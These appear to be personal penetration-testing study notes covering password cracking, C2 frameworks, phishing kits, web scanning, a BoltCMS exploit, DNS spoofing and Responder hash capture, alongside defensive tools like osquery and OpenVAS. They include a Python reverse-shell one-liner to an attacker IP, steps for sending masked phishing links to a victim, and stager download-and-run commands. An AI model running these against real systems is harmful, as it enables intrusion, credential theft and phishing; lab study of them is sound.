  + cache: - view googles cached version of a specified URL
  + intitle: - the specified phrase MUST appear in the title of the page
    - intitle:index.of
      * directory traversal

John the Ripper

* Hashes operate one way – dependent on P vs NP relationship
  + crackable by comparing password hash outputs from a dictionary to subject
    - dictionary attacks via JtR
* Setting up John the Ripper
  + Parrot, Kali, and AttackBox
    - Jumbo John
    - sudo apt install john
  + Blackarch
    - pacman -Qe | grep “john”
    - pacman -S john
  + Building from Source for Linux
    - git clone https://github.com/openwall/john -b bleeding-jumbo john
    - cd john/src/
    - ./configure
    - make -s clean && make -sj4
    - cd . ./run
  + Installing on Windows
    - download and install zipped binary
* Wordlists
  + SecLists repository
  + /usr/share/wordlists
    - rockyou
* Cracking Basic Hashes
  + John Basic Syntax
    - john [options] [path to file]
  + Automatic Cracking
    - john --wordlist=[path to wordlist] [path to file]
      * auto-crack if hash type cannot be determined
  + Identifying Hashes
    - online hash identifier
    - hash-identifier python tool
    - wget <https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py>
      * launch with python3 hash-identifier.py
  + Format-Specific Cracking
    - john --format=[format] --wordlist=[path to wordlist] [path to file]
* Cracking Windows Authentication Hashes
  + - authentication hashes are the hashed versions of passwords that are stored by Oss
  + NTHash/NTLM
    - format that modern Windows OS machines store user and service passwords
    - acquired by dumping SAM database on a windows machine
      * use tools like mimikatz or from AD database NTDS.dit
        + can use pass the hash attack instead
    - NT flag
* Cracking /etc/shadow Hashes
  + Unshadowing
    - in order to crack /etc/shadow passwords, must be combined with /etc/passwd file to understand data given
      * unshadow [path to passwd] [path to shadow]
        + unshadow invokes the unshadow tool
        + path that contains copy of /etc/passwd file
        + path that contains copy of /etc/shadow
  + Cracking
    - feed output from unshadow to john
      * may need to specify format
        + john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt unshadowed.txt
* Single Crack Mode
  + - John uses information provided in username to try and work out possible passwords heuristically
  + Word Mangling
    - John builds its own dictionary based on the information that it has been fed and uses a set of rules called mangling rules to define mutation of the initial word
      * creates wordlist based off of relevant factors
        + assists in exploiting poor passwords
  + GECOS
    - John Word Mangling is compatible with GECOS fields of UNIX OS and similar
      * Gecos fields are fields split by a colon
        + information can be taken from these records and add into the wordlist it generates when cracking /etc/shadow hashes in single crack mode
  + Using Single Crack Mode
    - * john --single --format=[format] [path to file]
      * ex. john --single --format=raw-sha256 hashes.txt
    - when cracking hashes in single crack mode, must change file format by prepending hash with username that the hash belongs to
      * ex. 1efee03cdcb96d90ad48ccc7b8666033 🡪 mike:1efee03cdcb96d90ad48ccc7b8666033
* Custom Rules
  + - define sets of rules for dynamic creation of password
      * helpful when knowledge of target is possessed
  + Common Custom Rules
    - requirements stated such as capitals, numbers, symbols
    - predictable placement of these requirements
  + How to create custom rules
    - john.conf file
      * /etc/john/john.conf

<https://www.openwall.com/john/doc/RULES.shtml>

* + - * first line
        + [List.Rules:THMRules] – defines name of rule

then use regex syntax style pattern

Az – takes word and append it with the characters you define

A0 – takes the word and prepends it with the characters you define

c – capitalizes the character positionally

can be used in combination to define where and what in the word you want to modify

define characters to be appended, prepended, etc by adding character sets in [] in order to be used

directly follow modifier patterns inside of double quote “ “

* + - * + examples

[0-9] - Will include numbers 0-9

[0] - Will include only the number 0

[A-z] - Will include both upper and lowercase

[A-Z] - Will include only uppercase letters

[a-z] - Will include only lowercase letters

[a] - Will include only a

[!£$%@] - Will include the symbols !£$%@

* + Using Custom Rules
    - called with argument - -rule=<rule name>
    - ex. john --wordlist=[path to wordlist] --rule=PoloPassword [path to file]
* Cracking Password Protected RAR Archives
  + Rar2John
    - converts rar file into a hash format john is able to understand
      * rar2john [rar file] > [output file]
        + ex. rar2john rarfile.rar > rar\_hash.txt
  + Cracking
    - john --wordlist=/usr/share/wordlists/rockyou.txt rar\_hash.txt
    - sudo apt install unrar
    - unrar e <.rar file>
* Cracking SSH Keys with John
  + SSH2John
    - * conversion tool
        + can use ssh2john.py

/opt/john/ssh2john.py

replace ssh2john command with

python3 /opt/john/ssh2john.py

* + - * ssh2john [id\_rsa private key file] > [output file]
        + ex. ssh2john id\_rsa > id\_rsa\_hash.txt
  + Cracking
    - feed file output from ssh2john
      * john --wordlist=/usr/share/wordlists/rockyou.txt id\_rsa\_hash.txt
* Cracking Password Protected Zip Files
  + Zip2John
    - zip2john [options] [zip file] > [output file]
    - ex. zip2john zipfile.zip > zip\_hash.txt
  + Cracking
    - john --wordlist=/usr/share/wordlists/rockyou.txt zip\_hash.txt
    - unzip secure.zip
* Cracking Encrypted GPG files
  + gpg2john
    - gpg file converted into binary for JtR
  + gpg2john [encrypted file] > [filename of hash to create]
  + john - -wordlist=[wordlist path] - -format=gpg [hash file]
* Further Reading
  + <https://www.openwall.com/john/>

Tor

* Free and open-source software for enabling anonymous communication
  + directs traffic through overlay network consisting of several thousand relays
    - more difficult to trace user internet activity
  + useful in blackbox testing
  + apt-get install tor
    - service tor start
    - service tor status
      * service tor stop
* Proxychains
  + - forces TCP connections made by any given application to follow through proxy like TOR or any other SOCKS4, SOCKS5, or HTTP(S) proxy
    - widely used by pentesters during reconnaissance stage
      * such as with nmap
  + apt install proxychains
    - nano /etc/proxychains.conf
      * uncomment dynamic\_chain
      * uncomment proxy\_dns
      * comment strict\_chains
    - save and exit
  + start TOR
    - run proxychains firefox

Web Scanning

* Nikto
  + - -h – set target host
    - -nossl – disable secure transport
    - -ssl – force secure transport
    - -p – specific port scan
    - -dbcheck – verify vulnerability database is updated and working
    - -mutate – guess and test both files and usernames within directories
    - 3 – Apache specific
    - -id <username>:<password> - credentialed check
    - -until – limits scan to end at a certain time
    - -list-plugins – list all plugins available
    - -Plugins outdated – use plugin checks to find outdated software on target
    - -Plugins test – run a series of standard tests against the target host
  + Check for vulnerable server versions
    - directories
* OWASP Zap Scanner
  + Completely Open Source and Free
    - Good for Web Application Testing
    - Automated Web Application Scan
    - Web Spidering
    - Unthrottled Intruder
  + set URL to Attack
    - robots.txt
    - navigate in URL
      * “/” is root folder
  + Traditional spider
    - passive scan that enumerates links and directories of the website
      * builds a website index without brute-forcing
      * quieter
        + not as comprehensive
  + Ajax Spider
    - integrates ZAP with Ajax rich crawler sites called Crawljax
      * used with HTMLUnit
        + sudo apt install libjenkins-htmlunit-core-js-java

select HtmlUnity from the Ajax Spider Dropdown

* + Detecting XSS
    - run automated attack against <URL:PORT> and search Alerts tab
* Manual ZAP Scanning
  + using a proxy
    - Tools > Options > Local Proxies
      * 127.0.0.1 8080
    - Dynamic SSL Certificates
      * Save
        + Firefox Certificates

Import

Both Options > OK

* + - * + Proxy

Manual

127.0.0.1 8080

Also use this proxy for FTP and HTTPS

* Scanning an Authenticated Web Application
  + Pass authentication token into ZAP in order to scan authenticated webpages
    - Inspect Element
      * Storage > PHPSESSION Cookie
  + In ZAP
    - HTTP Sessions tab with new tab button
      * set authenticated session as active (right click)
* Brute-Force Directories
  + - use wordlist attack and directory brute-force through ZAP (similar to gobuster)
    - Tools > Options > Forced Browse
      * Add Custom Forced Browse File
  + Right-click website > Attack > Forced Browse Site
* Brute-Force Web Login
  + - brute-force a form to get credentials
    - navigate to Brute Force page on DVWA
      * attempt login
    - vulnerabilities folder under Sites
      * GET:brute(Login,password,username)
        + right-click > Attack > Fuzz

highlight password attempted and add wordlist

run fuzzer

* + - * + sort State tab to Reflected first
* ZAP Extensions
  + Python Scripting
  + Community Scripts
    - Tools > Options > Passive Scanner > Scan Messages Only in Scope
  + Scripts
    - Hunt.py
      * right-click
        + enable and save
* Resources
  + <https://www.zaproxy.org/docs/desktop/ui/>
  + <https://groups.google.com/forum/#!forum/zaproxy-users>
  + <https://www.alldaydevops.com/zap-in-ten>

HiddenEye – Phishing Tool

* CLONE
  + git clone https://gitlab.com/an0nud4y/HiddenEye.git
  + RUNNING (In Linux)
  + chmod 777 HiddenEye
  + sudo apt install python3-pip
  + cd HiddenEye
  + sudo pip3 install -r requirements.txt
  + sudo pip3 install requests
  + python3 HiddenEye.py
    - OR
  + ./HiddenEye.py
    - LOCALTUNNEL = N
    - Y
* Choose Site
  + Keylogger
  + Fake CloudFlare page
  + Receive Data
  + URL Redirect
  + Custom Port
    - 8080
  + Server Selection
    - Ngrok
  + Copy and Send NGROK URL to victim
* Masking Link
  + Copy NGROK Link
  + Navigate to <https://bitly.com/>
    - short URL
    - Copy new link and send to victim

Sublist3r

* Introduction
  + python script that allows quick and easy recon against a target
    - discover various subdomains associated with the websites/domains in scope
    - <https://github.com/aboul3la/Sublist3r>
      * /opt/Sublist3r
      * sudo python3 sublist3r.py
* Switchboard
  + - -d – set target domain
    - -e – sets engine used for search
    - -o – save output to a file
    - -t – designate use and number of threads
    - -b – enable bruteforcing of domains
  + ex. python3 sublist3r.py -d nbc.com -o sub-output-nbc.txt
* Scanner
  + look for admin pages, email domains, domains under development (dev-www), help desk portals, single sign on

Empire

* Introduction
  + <https://github.com/BC-SECURITY>
  + https://www.bc-security.org/post/an-introduction-to-starkiller/
  + C2 Server
    - deploy agents on device and remotely run modules
* Installation
  + Installing Empire
    - cd /opt
    - sudo git clone <https://github.com/BC-SECURITY/Empire/>
    - cd /opt/Empire
    - sudo ./setup/install.sh
  + Installing Starkiller
    - cd /opt
    - <https://github.com/BC-SECURITY/Starkiller/releases>
    - chmod +x starkiller-0.0.0.AppImage
  + Starting Empire
    - cd /opt/Empire
    - sudo ./empire - -rest
  + Starting Starkiller
    - cd /opt
    - sudo ./starkiller-<version>.AppImage - -no-sandbox
    - default credentials
      * uri: 127.0.0.1:1337
      * user: empireadmin
      * password: password123
* Menu Overview
  + Six Main tabs
    - Listeners – similar to netcat or multi/handler for receiving back stagers
      * create and list what listeners available
    - Stagers – similar to a payload with further functionality for deploying agents
      * second point to getting an agent to connect back to C2 server
      * send off an agent similar to a payload
    - Agents – used to interact with agents on the device to perform tasks
      * allow to see an overview of all agents and interact with specific agents
      * can send shell commands and modules from agents
    - Modules – can be used as tools or exploits
      * give overview of all modules available and search for particular modules
      * specific tools and exploits that can be used with agents like enumeration scripts, privesc methods, and other exploits
    - Credentials – reports all credentials found when using modules
      * saves any enumerated credentials found from a device or module
      * save hashes or plaintext passes
      * can also manually add
    - Reporting – report of every module and command run on each target
      * allows one to see shell commands or modules that have been run in the past and report to menu
* Listeners
  + function similar to netcat or multi/handler
  + additional functionality
    - agent management, concealment
  + Available Listeners
    - http – standard listener for a specific port
      * http\_com – http listener + IE COM object
      * http\_foreign – points to different Empire server
      * http\_hop – creates external redirector using PHP
      * http\_mapi – http listener + MAPI COM object
    - meterpreter – used to listen for Metasploit stagers
    - onedrive – utilizes OneDrive as listening platform
    - redirector – create pivots in network
    - dbx – Dropbox as listening platform
    - http\_malleable – used alongside malleable C2 profiles from BC-Security
    - can also create custom malleable c2 listeners to emulate threats or APTs
      * <https://www.bc-security.org/post/empire-malleable-c2-profiles/>
  + Create a Listener
    - Listener Tab > Create Listener
      * Type > HTTP Listener
        + Host and Port Setting
        + Further Options

Name – name listener

Host – IP to connect back to

Port – Port to listen on

BindIP – IP to bind to (typically localhost / 0.0.0.0)

* + - * + Listener Operation Options

DefaultDelay

DefaultJitter

DefaultLostLimit

* + - * + Detection Bypass Options

DefaultProfile – specify profile used or User-Agent

Headers – since listener is HTTP, headers will be HTTP

Launcer – what launcher to use for the listener, prefixed on stager

* + - * Submit
* Stagers
  + functions as a payload/reverse shell
  + Three Common Stagers
    - multi/launcher – fairly universal
    - windows/launcher\_bat – Windows Batch file
    - multi/bash – basic Bash stager
  + Specific Stagers
    - windows/ducky – ducky script for USB rubber ducky for physical USB attacks
    - windows/hta – HTA server an HTML application protocol can be used to evade AV
    - osx/applescript – stager in AppleScript – apples language
    - osx/teensy – similar to rubber ducky, small form factor micro-controller for physical attacks
  + Generating a Stager
    - Stagers Tab > Generate Stager
      * Type > windows/launcher\_bat
      * Listener > set
      * Additional Options Depending on Stager
        + Base64 – enable or disable stranger encoding with base64
        + Language – bash, Powershell, Python, etc
        + SafeChecks – enable/disable checks for stager
        + ASMIBypass
        + Obfuscate
        + ETWBypass
    - may have to download or paste stager to target machine
  + Transferring and Executing the Stager
    - python3 -m http.server on attacker machine
    - wget <ip>:<port>/launcher.bat -outfile launcher.bat
    - ./launcher.bat
  + Alternatively
    - meterpreter > upload launcher.bat C:\\Users\\<USER>[\\Desktop](file:///\\Desktop)
    - launcher.bat
    - check Agents tab
* Agents
  + Once connected, as a C2 server
    - any modules can be used without tripping AV
  + Designated Color
    - Red – no longer responding
    - Black – responding normally
    - User Icon – normal user account
    - User Icon with Gear – System User account
  + Using Agents
    - shell commands
    - modules
    - rename, kill, adjust agent
    - can run shell commands as one would on linux
* Modules
  + packing tools and exploits
  + Enumerations and PrivEsc
    - Seatbelt
    - Mimikatz
    - WinPEASS
  + Modules sorted by Language used
    - PS, python, external, exfiltration
    - Additional Categories
      * code execution
      * collection
      * credentials
      * exfiltration
      * exploitation
      * lateral movement
      * management
      * persistence
      * privesc
      * recon
      * situational awareness
      * trollsploit
    - Modules also categories by MITRE ATT&CK
      * provides techniques and naming conventions
  + Using Modules
  + Plugins
    - extension of base set of modules that Empire comes with
    - transfer a plugin.py file to /plugins directory of Empire
      * Socks Server plugin by BC-Security
        + <https://github.com/BC-SECURITY/SocksProxyServer-Plugin>

proxy server

* + - * plugins should autoload but manual syntax is plugin <plugin name>
        + run with start <plugin> and stop <plugin> commands

SHODAN.io

* Introduction
  + indexes services that run on each IP address
  + First
    - grab IP address of target via ping
  + Input IP address into search bar
    - view organization, ISP, ports, services, web technologies, ASN
  + Autonomous System Numbers
    - * global identifier of a range of IP addresses
      * large companies typically have ASNs
      * use ASN lookup
        + <https://www.ultratools.com/tools/asnInfo>
    - Shodan has ASN filter
      * search ASN number and view how many websites are attached
        + ASN:ASN<#>
      * ASN is helpful for detecting vulnerable computers within ASN
  + Banners
    - information about services are stored in a banner
      * output of a single port
* Filters
  + Explore
    - view common search queries
    - product filters
      * asn:<ASN<#>> product:<product type>
      * ex. asn:AS14061 product:MySQL
    - vulnerabilities
      * vuln:<query>
      * ex. vuln:ms17-010
        + available only to academic/businesses
* Shodan Monitor
  + monitor devices on own network
  + <https://monitor.shodan.io/dashboard>
  + add range of IP addresses
  + Scan options to deploy against network
    - Top Open Ports
    - Top Vulnerabilities
    - Notable Ports
    - Potential Vulnerabilities
    - Notable IPs
* Shodan Dorking
  + ex. has\_screenshot:true encrypted attention
    - find machines compromised by ransomware on internet
  + ex. vuln:CVE-2014-0160
    - machines vulnerable to heartbleed
  + ex. http.favicon.hash:-1776962843
    - Solar Winds Supply Chain Attack by using Favicons
  + more dorks on GitHub
* Shodan Extension
  + <https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap>
    - tell IP address of webserver running
    - ports open
    - base
    - security issues
* Shodan API
  + <https://github.com/beesecurity/How-I-Hacked-Your-Pi-Hole/blob/master/README.md>

CyberChef

OpenVAS

* Introduction
  + used to scan endpoints and web applications to identify and detect vulnerabilities with Network Vulnerability Tests
* GVM Framework Architecture
  + GreenBone Vulnerability Management
    - Front End
      * GSA, Web Interfaces
        + direct user interactions
        + Greenbone Security Assistant
    - Back End
      * OSP, OpenVAS, Targets
        + conducts vulnerability scans and processes data and NVTS through OpenVAS and GVM
        + also includes user data
    - Vulnerability/Information Feed
      * NVT, SCAP CERT, User Data, Community Feed
        + contains all information and vulnerability tests that come from the GreenBone Community feed that serves as the main baseline for testing against systems
        + can also include user data provided in place of NVTs and SCAP CERTs
  + <https://community.greenbone.net/t/about-gvm-10-architecture/1231>
* Installing OpenVAS
  + Method 1
    - install from Kali/OpenVAS Repos
      * apt-get install software-properties-common && add-apt-repository ppa:mrazavi/openvas
  + Method 2
    - install from Source
      * <https://github.com/greenbone/openvas-scanner/blob/master/INSTALL.md>
  + Method 3
    - Run from Docker
      * apt install docker.io
      * docker run -d -p 443:443 - -name openvas mikesplain/openvas
  + Default Credentials
    - admin/admin
* Initial Configuration
  + Navigate to Scans > Tasks > Purple Wand
    - First Scan 127.0.0.1
    - will take time, track in status bar that refreshes as set in top of page
  + Scans > Reports
* Scanning Infrastructure
  + Creating a Task
    - Task > Star >
      * Name
      * Scan Targets – Hosts, Ports, Credentials
      * Scanner Type
      * Scanner Config
  + Scoping a Target
    - Scan Targets > Star
      * Name
      * Hosts
    - Create > Create > Start
* Reporting and Continuous Monitoring
  + Breaking Down the Report
    - Basic Host and Task Information
      * Host
      * Start
      * End
      * Vulnerability
    - Host Authentications and overall summary of open ports
    - Vulnerability Report
  + Continuous Monitoring Overview
    - Alerts, Schedules, Agents
  + Creating Schedules
    - Configuration > Schedules > Blue Star
      * Name, First Start Time, Period
      * Create New Task/Scan with Schedule Attached
  + Crafting Alerts
    - Configuration > Alerts > Blue Star Icon
      * Name, Event, Condition, To Address
* References
  + <https://docs.greenbone.net/>

fcrackzip

* brute force zip files
  + fcrackzip -b - -method 2 -D -p /usr/share/wordlists/rockyou.txt -v ./file.zip

Osquery

* Installation
  + <https://osquery.readthedocs.io/en/stable/installation/install-windows/>
  + <https://osquery.readthedocs.io/en/stable/installation/install-linux/>
  + <https://osquery.readthedocs.io/en/latest/installation/cli-flags/>
* Interacting with the Osquery Shell
  + To begin
    - run osqueryi in CMD or powershell
      * .help
      * meta commands are prefixed with an ‘ . ‘
      * .tables – list all available tables that can be queried
        + ex. .tables <table name>
      * .schema table\_name
        + ‘name’ TYPE
      * to check schema for another OS
        + - -enable\_foreign commandline flag
      * .summary command for basic versioning and system information
      * .show – shell settings
      * .quit, .exit
* Schema Documentations
  + <https://osquery.io/schema/4.7.0/>
  + version, compatibility, total tables, options, etc
* Creating Queries
  + Realistically all your queries will start with a SELECT statement.
    - The exception to the rule: The use of other SQL statements, such as UPDATE and DELETE, is possible, but only if you're creating run-time tables (views) or using an extension if the extension supports them.
  + Your queries will also include a FROM clause and end with a semicolon.
    - If you wish to retrieve all the information about the running processes on the endpoint: SELECT \* FROM processes;
  + You can select specific columns rather than retrieving every column in the table.
    - Query: SELECT pid, name, path FROM processes;
  + The count() function can be used to get exactly how many.
    - Query: SELECT count(\*) from processes;
  + Optionally, you can use a WHERE clause to narrow down the list of results returned based on specified criteria.
    - Query: SELECT pid, name, path FROM processes WHERE name='lsass.exe';
  + Below are filtering operators that can be used in a WHERE clause:
    - = [equal]
    - <> [not equal]
    - >, >= [greater than, greater than or equal to]
    - <, <= [less than or less than or equal to]
    - BETWEEN [between a range]
    - LIKE [pattern wildcard searches]
    - % [wildcard, multiple characters]
    - \_ [wildcard, one character]
  + The last concept to cover is JOIN. To join 2 or more tables, each table needs to share a column in common.
    - The common column in both tables is pid. A query can be constructed to use the JOIN clause to join these 2 tables USING the PID column.
      * Query: SELECT pid, name, path FROM osquery\_info JOIN processes USING (pid);
* Using Kolide Fleet
  + - <https://github.com/kolide/fleet>
    - <https://www.kolide.com/launcher>
    - <https://github.com/fleetdm/fleet>
  + Setup
    - in Terminal
      * sudo redis-server --daemonize yes
      * sudo service mysql start
      * /usr/bin/fleet serve
      * \--mysql\_address=127.0.0.1:3306 \
      * --mysql\_database=kolide \
      * --mysql\_username=root \
      * --mysql\_password=tryhackme \
      * --redis\_address=127.0.0.1:6379 \
      * --server\_cert=/home/tryhackme/server.cert \
      * --server\_key=/home/tryhackme/server.key \
      * --auth\_jwt\_key=JB+wEDR4V3bbhU4OlIMcXpcBQAaZc+4r \
      * --logging\_json
    - Log in via https:127.0.0.1:8080
      * add host – copy enroll sheet for following command secret key portion
    - In CMD/PS
      * launcher.exe --hostname=127.0.0.1:8080 --enroll\_secret=***ENTER-SECRET-KEY*** –insecure
    - refresh page to confirm successful addition
  + Database Icon
    - Create New Query
      * select query type
    - Run
* Osquery Exentions
  + <https://github.com/trailofbits/osquery-extensions>
  + <https://github.com/polylogyx/osq-ext-bin>
  + <https://osquery.readthedocs.io/en/latest/deployment/extensions/>
* Linux and OSquery
  + <https://osquery.readthedocs.io/en/stable/deployment/yara/>
* Windows and Osquery
  + <https://github.com/polylogyx/osq-ext-bin/blob/master/README.md>
  + <https://github.com/polylogyx/osq-ext-bin/tree/master/tables-schema>
* Conclusion and Resources
  + <https://osquery.readthedocs.io/en/latest/deployment/file-integrity-monitoring/>
  + <https://osquery.readthedocs.io/en/latest/deployment/process-auditing/>
  + <https://osquery.readthedocs.io/en/latest/deployment/syslog/>
  + <https://osquery.io/>
  + <https://github.com/teoseller/osquery-attck>

BoltCMS

* <https://github.com/r3m0t3nu11/Boltcms-Auth-rce-py>
* sudo python3 exploit.py <url> <username> <password>
  + need to know login page url
* Enter OS command: id
  + confirms successful exploit
* Create Shell
  + python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect((“ATTACKER IP",ATTACKER PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
  + create nc listener
    - nc -lvnp <port>
* app/database directory
  + open db and review tables
    - ex. sqlite3 bolt.db
    - review user database
      * view import users, IPs (especially private IPs 192.168)
      * copy hash and save to file for JtR
        + john hash -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
* su <user> and enter password
  + find and copy ssh key
    - ls -lart .ssh/
    - id\_rsa
  + connect to private IP via ssh
    - ssh <user>@<private IP>
    - check privs with sudo -l
  + check gtfobins for sudo escape of discovered ability
    - escalate and again check for sudo rights
      * sudo -l
      * sudo -s

MaltegoCE

* Running and Configuring
  + open with maltegoce command in Terminal
  + Login to Transform Hub
    - displays common transforms that are available in Maltego
* Mining Data
  + New Graph (CTRL-T)
    - Machines 🡪 Run Machine
      * + L1 (basic)
        + L2 (mid)
        + L3 (intense) – takes a while, requires a lot of resources
        + XXL (large targets) – same as above
      * Specify Target
  + Entity Palette
    - describes graphical icon and what it represents
      * lines indicate entity relationships
    - hover over an entity 🡪 see relationship definition and info sources listed in Detailed View window
      * right-click entity to configure and run applicable transforms
* Important Concepts
  + List View – table of entities
  + Graph – background to plot entities
    - plotted during online investigation
  + Entities – icons that represent a name in DNS, website, file, IP address, etc.
    - discovered through transforms
  + Transforms – piece of code that queries a data source (SE, social networks, DNS servers) to ID relationships
    - these relationships are plotted on the Graph
      * automated via Machines

Recon-ng

* Running and Configuring
  + recon-ng in Terminal
    - marketplace install all
    - show modules 🡪 list of support modules
* Creating a Workspace to Manage Information
  + ex. workspaces create example
  + to see a list of workspaces 🡪 workspaces list
* Running WHOIS query
  + define appropriate recon module whois\_pocs with modules load command
    - ex. modules load whois\_pocs
    - options command
      * options set SOURCE <website>
  + Review info collected
    - show hosts
    - show contacts
    - show dashboard
* https://hackertarget.com/recon-ng-tutorial/

SET and BeEF

* setoolkit
* Clone a Website
  + Social-Engineering Attacks
    - Website Attack Vectors
      * Credential Harvester Attack Method
        + Site Cloner

enter IP of server hosting clone

enter URL to clone

like an admin login page from a wordpress site

* + - * + confirm upload with navigation to IP and port in URL

test by inputting garbage data and viewing terminal

failed attempt will forward to terminal and reload to actual site to avoid suspicion

* Phishing Campaign
  + SET
    - Social-Engineering Attacks
      * Mass Mailer Attack
        + Single Email

Fill Out Options

* + - Create a Web Page to Hook Attack
      * BeEF
        + launch BeEF, open up terminal window

change directory to /tmp and edit index.html

basic HTML page

use SimpleHTTPServer module to host webpage from /tmp directory

* + - * + If link is clicked on from phishing attempt, hook.js should execute and IP address of target should show up in Hooked Browser section of BeEF

when browser is online, can execute BeEF command modules to attack targets computer through the web browser

Ettercap

* Running and Configuration
  + modify /etc/Ettercap/etter.dns
    - * add entry to file for domain name and have it point to malicious host
        + ex. example.com A <IP>

tab between

* + modify /etc/Ettercap/etter.conf
    - * change ec\_uid and ec\_gid to both equal 0
  + Create Fake Web Page named index.html in /tmp directory to load HTML header and execute JS jook.js script in BeEF
    - use python SimpleHTTPServer to host web page on port 80
      * python -m SimpleHTTPServer 80
  + Start BeEF
    - http://127.0.0.1:3000/ui/authentication
  + Launch Ettercap -G or Ettercap Graphical
    - Sniff | Unified Sniffing
    - Hosts | Scan For Hosts
      * Target 1 = target host to redirect
      * Target 2 = Gateway/DNS Server to impersonate
    - Menu
      * select MITM | ARP Poisoning
        + Sniff Remote Connections option
    - Plugins | Manage Plugins
      * dns\_spoof double click
  + Start Sniffing
    - victim visits IP of spoofed website
  + In BeEF
    - see target show up under online browsers tab
      * execute command modules to further exploit target

Responder & Repeater - Windows

* Poisons name resolution services and compromise usernames and hash values
  + /usr/share/responder
    - sudo responder -I <wireless interface> -wfv
  + will begin to see list of poisoners, servers, and options loaded
    - look up PID
      * ps -ef | grep -i responder
      * netsat -antp | grep 6213 | grep -i listen; netstat -anup | grep 6213
* in Windows
  + when admin is attempting to map $HOME share from SERVER1 over network, for example
    - poisoner will gain access to SMB-NTLMv2 hash to crack offline
      * these hashes cannot be replayed over network
* In Responder
  + /usr/share/responder directory
    - Poisoners-Session.log documents these hashes and responses
      * these logs can be pipped into JtR
* WPAD Attack
  + Responder can be configured to start a WPAD listener, force basic HTTP authentication, and prompt a user to enter a username and password

Websploit

* Installation
  + sudo apt-get install websploit
    - run with websploit command
* Running
  + websploit command
    - help commands
  + use wifi

Evil Twin Aps

* HostAP
  + sudo apt-get install hostapd

Airbase-ng Utility

* airbase-ng -a <bssid> - -essid <wireless name> -c <channel> <interface>
  + force clients to reconnect
    - aireplay-ng -deauth 0 -a <target AP MAC> <interface> -ignore-negative-one
* Collect cookies, strip SSL layers

Bluetooth Device Discovery/Hacking

* hciconfig
  + hciconfig hci<#> up
* hcitool
* bluelog scanner